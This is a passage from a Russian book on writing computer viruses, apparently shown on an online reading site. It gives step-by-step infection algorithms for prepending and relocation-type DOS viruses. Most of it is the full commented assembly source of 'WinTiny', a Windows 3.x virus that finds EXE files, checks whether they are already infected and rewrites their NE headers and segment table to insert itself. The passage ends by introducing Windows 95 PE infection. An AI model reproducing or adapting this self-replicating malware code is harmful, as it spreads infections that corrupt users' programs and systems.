Чтение онлайн

на главную - закладки

Жанры

Создаем вирус и антивирус
Шрифт:

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер все тело программы.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.

14. Создать на диске временный файл с расширением COM или EXE (в зависимости от того, какой тип программ заражается).

15. Записать в этот файл тело программы из буфера.

16. Закрыть созданный файл.

17. Процедурой Exec запустить созданный файл на исполнение – выполнится инфицированная программа.

18. После завершения работы программы созданный файл удалить.

19. Вернуть управление в DOS.

Вирусы – это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.

Внедрение способом переноса

Вирусы данного типа размножаются следующим образом. Из инфицируемой программы от начала файла считывается часть кода, по длине равная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода – «метод переноса». Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство данного метода над другими описанными в том, что инфицированная программа

исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверяющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигурации с именами:

ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI

Недостаток данного метода проявляется при сбоях в работе компьютера. Если при исполнении инфицированной программы компьютер «повиснет» или произойдет перезагрузка системы, инфицированная программа окажется «чистой», то есть без вируса. Но, во-первых, «кто не рискует, тот не пьет шампанского», а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса.

3. Закрыть файл.

4. Найти файл-жертву.

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер начало инфицированной программы, расположенное в конце файла.

14. Записать считанное начало программы поверх кода вируса в начало файла.

15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).

16. Закрыть файл.

17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.

18. После завершения работы программы опять открыть стартовый файл.

19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.

20. Закрыть файл.

21. Вернуть управление в DOS.

Глава 3 Вирусы под Windows

В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.

Вирусы под Windows 3.11

В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) – распознается DOS как программа, выводящая на экран «This program requires Microsoft Windows». Второй заголовок (NewEXE) – для работы в Windows (см. приложение).

Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».

Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.

4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.

Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.

.286

.MODEL TINY

.CODE

;Сохраним регистры и флаги

pushf

pusha

push ds

push es

;Проверим, доступен ли DPMI. Если доступен,

;продолжаем, если нет – выходим

mov ax,1686h

int 2Fh

or ax,ax

jz dpmi_exist

;Восстановим регистры и флаги

exit:

pop es

pop ds

popa

popf

;Запустим программу−носитель

db 0EAh

relocIP dw 0

relocCS dw 0FFFFh

dpmi_exist:

;Выделим линейный блок памяти, используя DPMI

mov ax,0501h

mov cx,0FFFFh

xor bx,bx

int 31h

;Сохраним индекс и 32−битный линейный адрес

;полученного блока памяти в стеке

push si

push di

push bx

push cx

;Создадим дескриптор в таблице LDT

xor ax,ax

mov cx,1

int 31h

;В поле адреса полученного дескриптора

;установим адрес нужного блока памяти

mov bx,ax

mov ax,7

pop dx

pop cx

int 31h

;В поле предела полученного дескриптора

;установим размер выделенного блока памяти

mov ax,8

mov dx,0FFFFh

xor cx,cx

int 31h

;В поле прав доступа полученного дескриптора установим значение,

;соответствующее сегменту данных, доступному для чтения и записи

mov ax,9

mov cl,11110010b

xor ch,ch

int 31h

;Загрузим селектор в регистр DS. После этого регистр DS будет

;указывать на выделенный блок памяти

mov ds,bx

;Читаем из стека и сохраняем в памяти

;индекс полученного блока памяти

pop [mem_hnd+2]

pop [mem_hnd]

;Получим текущую DTA

mov ah,2Fh

int 21h

mov [DTA],bx

mov [DTA+2],es

;Найдем первый EXE−файл (маска *.EXE)

mov ah,4Eh

xor cx,cx

mov dx,OFFSET wild_exe

push ds

push cs

pop ds

int 21h

pop ds

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу−носитель

jnc found_exe

;Освободим выделенную область памяти

call free

;Запустим программу−носитель

jmp exit

;Перейдем к следующему файлу – этот не подходит

close_exe:

;Закроем файл

mov ah,3Eh

int 21h

;Найдем следующий файл

mov ah,4Fh

int 21h

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу−носитель

jnc found_exe

;Освободим выделенную область памяти

call free

;Запустим программу−носитель

jmp exit

;Файл найден, проверим его на пригодность к заражению

found_exe:

;Откроем файл для чтения и записи

push ds

lds dx,DWORD PTR [DTA]

add dx,1Eh

mov ax,3D02h

int 21h

pop ds

;Прочтем старый заголовок

mov dx,OFFSET old_hdr

mov bx,ax

mov cx,40h

mov ah,3Fh

int 21h

;Проверим сигнатуру, это EXE−файл?

cmp WORD PTR [old_hdr],”ZM”

jne close_exe

;Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный EXE−файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому что это может оказаться

;PE−, LE−, LX−executable или другой

;(PE−executable описан в разделе,

;посвященном Windows 95, остальные

;типы EXE−файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

;Перейдем ко второму заголовку (может быть, это NewEXE?):

;Переводим указатель к смещению, обозначенному в поле 3Ch

mov dx,WORD PTR [old_hdr+3Ch]

mov cx,WORD PTR [old_hdr+3Eh]

mov ax,4200h

int 21h

;Прочитаем второй заголовок

mov dx,OFFSET new_hdr

mov cx,40h

mov ah,3fh

int 21h

;Проверим сигнатуру, если сигнатура ”NE”, то это NewEXE−файл

cmp WORD PTR [new_hdr],”EN”

jne close_exe

;Проверим, для Windows ли предназначен этот файл. Если да, будем

;заражать, иначе переходим к следующему файлу

mov al,[new_hdr+36h]

and al,2

jz close_exe

;Переместим

указатель чтения/записи в таблицу сегментов,

;к элементу, обозначающему сегмент точки старта программы.

;Для этого прочтем значение регистра CS при запуске

;этого EXE−файла

mov dx,WORD PTR [new_hdr+16h]

;По номеру сегмента вычислим положение соответствующего ему

;элемента в таблице сегментов

dec dx

shl dx,3

;К результату прибавим смещение таблицы сегментов и смещение

;заголовка NewEXE

add dx,WORD PTR [new_hdr+22h]

add dx,WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

;Переместим указатель чтения/записи

mov ax,4200h

int 21h

;Прочтем из таблицы сегментов смещение логического сектора

mov dx,OFFSET temp

mov cx,2

mov ah,3Fh

int 21h

;Вычислим смещение сегмента, опираясь на значения

;смещения логического сектора и множителя секторов

mov dx,WORD PTR [temp]

mov cx,WORD PTR [new_hdr+32h]

xor ax,ax

cal_entry:

shl dx,1

rcl ax,1

loop cal_entry

;Переместим 16 старших бит 32−битного результата в регистр CX

mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)

add dx,WORD PTR [new_hdr+14h]

adc cx,0

;Переместим указатель позиции чтения/записи на точку старта

;программы – результат вычисления

mov ax,4200h

int 21h

;Считаем первые 10 байт после старта программы

mov dx,OFFSET temp

mov cx,10h

mov ah,3Fh

int 21h

;Проверим, заражен ли файл. Если считанные 10 байт в точности

;совпадают с первыми 10−ю байтами нашего вируса, файл заражен.

;В этом случае переходим к поиску следующего, иначе – заражаем

mov si,OFFSET temp

push cs

pop es

xor di,di

mov cx,8

cld

rep cmpsw

jne ok_to_infect

jmp close_exe

;Приступим к заражению

ok_to_infect:

;Переместим NE−заголовок на 8 байт ближе к началу файла.

;Исправим соответствующие поля старого заголовка

sub WORD PTR [old_hdr+10h],8

sub WORD PTR [old_hdr+3ch],8

sbb WORD PTR [old_hdr+3eh],0

;Исправим значения таблиц в новом заголовке, чтобы переместились

;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [new_hdr+4],8

add WORD PTR [new_hdr+24h],8

add WORD PTR [new_hdr+26h],8

add WORD PTR [new_hdr+28h],8

add WORD PTR [new_hdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP

push WORD PTR [new_hdr+14h]

pop [host_ip]

push WORD PTR [new_hdr+16h]

pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим

;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

;Переместим указатель чтения/записи в начало файла

;(к старому заголовку)

xor cx,cx

xor dx,dx

mov ax,4200h

int 21h

;Запишем старый заголовок, так как модифицированы

;некоторые поля его копии в памяти

mov dx,OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21h

;Переместим указатель чтения/записи на начало нового

;заголовка (его переместили на 8 байт к началу файла)

mov dx,WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

mov ax,4200h

int 21h

;Запишем новый заголовок, так как в его копии

;в памяти некоторые поля модифицированы

mov dx,OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

;Переместим указатель чтения/записи на 8 байт

;вперед – к началу таблицы сегментов

xor cx,cx

mov dx,8

mov ax,4201h

int 21h

;Рассчитаем размер таблицы сегментов и считаем ее в память

mov dx,OFFSET temp

mov cx,WORD PTR [new_hdr+1ch]

dec cx

shl cx,3

push cx

mov ah,3Fh

int 21h

;Переместим указатель чтения/записи назад, к позиции

;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,–1

mov ax,4201h

int 21h

;Запишем таблицу сегментов в файл, но не на ее прежнее место,

;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

pop cx

mov ah,40h

int 21h

;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)

xor cx,cx

xor dx,dx

mov ax,4201h

int 21h

;Сохраним в стеке текущую позицию чтения/записи

push dx

push ax

;Получим длину файла, переместив указатель

;чтения/записи в конец файла

xor cx,cx

xor dx,dx

mov ax,4202h

int 21h

;Сохраним в стеке длину файла

push dx

push ax

;Вычислим и сохраним длину логического сектора

mov cx,WORD PTR [new_hdr+32h]

mov ax,1

shl ax,cl

mov [log_sec_len],ax

;Вычислим длину файла в логических секторах

mov cx,ax

pop ax

pop dx

div cx

;Учтем неполный сектор. Если в результате получился

;остаток, увеличим количество секторов

or dx,dx

jz no_rmd

inc ax

no_rmd:

;Заполним поля нового элемента в таблице сегментов

mov [my_seg_entry],ax

mov [my_seg_entry+2],OFFSET vir_end

mov [my_seg_entry+4],180h

mov [my_seg_entry+6],OFFSET vir_end

;Восстановим из стека позицию в файле конца таблицы секторов

pop dx

pop cx

;Переместим указатель чтения/записи к этой позиции

mov ax,4200h

int 21h

;Запишем в конец таблицы новый элемент

mov dx,OFFSET my_seg_entry

mov cx,8

mov ah,40h

int 21h

;Скопируем тело вируса в область памяти, которую выделили

;в начале программы, для изменений в нем. В защищенном режиме

;(а работаем именно в нем), нельзя производить запись в сегмент

;кода. Если по какой−то причине нужно произвести изменение

;в сегменте кода, создается алиасный дескриптор данных

;(дескриптор, содержащий то же смещение и длину,

;что и сегмент кода), и дальнейшая работа ведется с ним.

;В данном случае просто воспользуемся выделенным блоком памяти

push ds

pop es

push cs

pop ds

xor si,si

mov di,OFFSET temp

mov cx,OFFSET vir_end

cld

rep movsb

push es

pop ds

;Инициализируем адрес точки входа

mov si,OFFSET temp

mov WORD PTR [si+relocIP],0

mov WORD PTR [si+relocCS],0FFFFh

;Переместим указатель чтения/записи на новую точку входа

mov ax,[my_seg_entry]

mov cx,[log_sec_len]

mul cx

mov cx,dx

mov dx,ax

mov ax,4200h

int 21h

;Запишем тело вируса в файл

mov dx,OFFSET temp

mov cx,OFFSET vir_end

mov ah,40h

int 21h

;Инициализируем поля перемещаемого элемента

mov WORD PTR [reloc_data],1

mov BYTE PTR [reloc_data+2],3

mov BYTE PTR [reloc_data+3],4

mov WORD PTR [reloc_data+4],OFFSET relocIP

;Запишем перемещаемый элемент

mov dx,OFFSET reloc_data

mov cx,10

mov ah,40h

int 21h

;Закроем файл

mov ah,3Eh

int 21h

;Освободим выделенный блок памяти

call free

;Запустим программу−носитель

jmp exit

;Процедура, освобождающая выделенный блок памяти

free PROC NEAR

mov ax,0502h

mov si,[mem_hnd]

mov di,[mem_hnd+2]

int 31h

ret

free ENDP

;Маска для поиска файлов

wild_exe DB ”*.EXE”,0

;Имя вируса

DB ”WinTiny”

;Идентификатор, указывающий на конец инициализированных данных

vir_end:

;Индекс выделенного блока памяти

mem_hnd DW ?

DW ?

;Адрес текущей DTA

DTA DW ?

DW ?

;Место для хранения старого заголовка

old_hdr DB 40h dup (?)

;Место для хранения нового заголовка

new_hdr DB 40h dup (?)

;Длина логического номера сектора

log_sec_len DW ?

;Новый элемент в таблице сегментов

my_seg_entry DW ?

DW ?

DW ?

DW ?

;Перемещаемый элемент

reloc_data DW ?

DB ?

DB ?

DW ?

;Значение оригинальной точки входа

host_cs DW ?

host_ip DW ?

;Область памяти для использования

temp DB ?

END

Вирусы под Windows 95

Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом EXE. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.

Вызов Windows 95 API

Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.

Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.

Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.

Поделиться:
Популярные книги

Начальник милиции. Книга 4

Дамиров Рафаэль
4. Начальник милиции
Фантастика:
попаданцы
альтернативная история
5.00
рейтинг книги
Начальник милиции. Книга 4

#Бояръ-Аниме. Газлайтер. Том 11

Володин Григорий Григорьевич
11. История Телепата
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
#Бояръ-Аниме. Газлайтер. Том 11

Тисса горит

Иллеш Бела
Проза:
историческая проза
советская классическая проза
5.00
рейтинг книги
Тисса горит

Система Возвышения. (цикл 1-8) - Николай Раздоров

Раздоров Николай
Система Возвышения
Фантастика:
боевая фантастика
4.65
рейтинг книги
Система Возвышения. (цикл 1-8) - Николай Раздоров

Пышка и Герцог

Ордина Ирина
Фантастика:
юмористическое фэнтези
историческое фэнтези
фэнтези
5.00
рейтинг книги
Пышка и Герцог

Идеальный мир для Лекаря 6

Сапфир Олег
6. Лекарь
Фантастика:
фэнтези
юмористическая фантастика
аниме
5.00
рейтинг книги
Идеальный мир для Лекаря 6

Случайная свадьба (+ Бонус)

Тоцка Тала
Любовные романы:
современные любовные романы
5.00
рейтинг книги
Случайная свадьба (+ Бонус)

Ученик

Губарев Алексей
1. Тай Фун
Фантастика:
фэнтези
5.00
рейтинг книги
Ученик

Эволюционер из трущоб. Том 5

Панарин Антон
5. Эволюционер из трущоб
Фантастика:
попаданцы
аниме
фэнтези
фантастика: прочее
5.00
рейтинг книги
Эволюционер из трущоб. Том 5

Бастард Императора. Том 8

Орлов Андрей Юрьевич
8. Бастард Императора
Фантастика:
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Бастард Императора. Том 8

Вперед в прошлое!

Ратманов Денис
1. Вперед в прошлое
Фантастика:
попаданцы
5.00
рейтинг книги
Вперед в прошлое!

Страж Тысячемирья

Земляной Андрей Борисович
5. Страж
Фантастика:
боевая фантастика
альтернативная история
фэнтези
5.00
рейтинг книги
Страж Тысячемирья

Полное собрание сочинений. Том 24

Л.Н. Толстой
Старинная литература:
прочая старинная литература
5.00
рейтинг книги
Полное собрание сочинений. Том 24

Идеальный мир для Лекаря 4

Сапфир Олег
4. Лекарь
Фантастика:
фэнтези
юмористическая фантастика
аниме
5.00
рейтинг книги
Идеальный мир для Лекаря 4